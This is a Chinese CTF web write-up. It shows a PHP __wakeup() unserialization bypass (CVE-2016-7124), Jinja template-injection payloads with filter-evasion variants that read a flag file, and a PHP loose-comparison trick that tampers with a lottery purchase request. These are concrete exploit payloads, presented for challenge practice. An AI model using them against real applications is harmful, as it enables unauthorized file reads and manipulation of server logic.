03月06, 2019

CTF-web 笔记 13

PHP 反序列化绕过 __wakeup()

CVE-2016-7124

像下面这样一个类:

<?php
    class xctf{ 
        public $flag = '111';
        public function __wakeup(){
            exit('bad requests');
        }
    }
?>

正常对象的序列化字符串:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

当成员属性数目大于实际数目时可绕过函数__wakeup()

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Python Jinja 模板注入绕过思路

了解了 flask 的模板注入沙箱逃逸的常规思路后,碰到了一道题需要 bypass 的题。

这是常规的文件读取方式:

{{''.class.mro[2].subclasses()[40]('opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}

可以用字符串拼接来绕过:

{{''['__cla'+'ss__']['__mr'+'o__'][2]['__subcla'+'sses__']()[40]('opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').next()}}

也可以利用 request.args,然后以 POST 或 GET 的方式传入:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}

用 cookie 传入也是可以的:

{{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.cookies.d]()}}

PHP 布尔值弱类型比较

做到这样一道题,题目的网站是个买彩票的界面,赚够钱了可以去买 flag。

题目存在.git源码泄露,找到购买彩票的代码:

function buy($req){
    require_registered();
    require_min_money(2);
    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    var_dump ($numbers);
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
    switch ($same_count) {
        case 2:
            $prize = 5;
            break;
        case 3:
            $prize = 20;
            break;
        case 4:
            $prize = 300;
            break;
        case 5:
            $prize = 1800;
            break;
        case 6:
            $prize = 200000;
            break;
        case 7:
            $prize = 5000000;
            break;
        default:
            $prize = 0;
            break;
    }
    $money += $prize - 2;
    $_SESSION['money'] = $money;
    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

把用户提交的numbers一位一位与服务器随机生成的七位数字进行比较,从第一位开始连续相同的位数越多奖金越高。

PHP 的布尔值和数字型的字符也存在弱类型比较,例如下面代码的输出结果为“yes1”:

<?php
    $test = true;
    if($test == '1' && $test == '5' && $test == '9')
        echo 'yes1';
    if($test == '0')
        echo 'yes2';
?>

只要不是'0',比较都可以成立。

正常的购买行为 POST 的数据:

{"action":"buy","numbers":"1234567"}

截包修改成如下数据即可:

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

本文链接:https://blog.cindemor.com/post/ctf-web-13.html

-- EOF --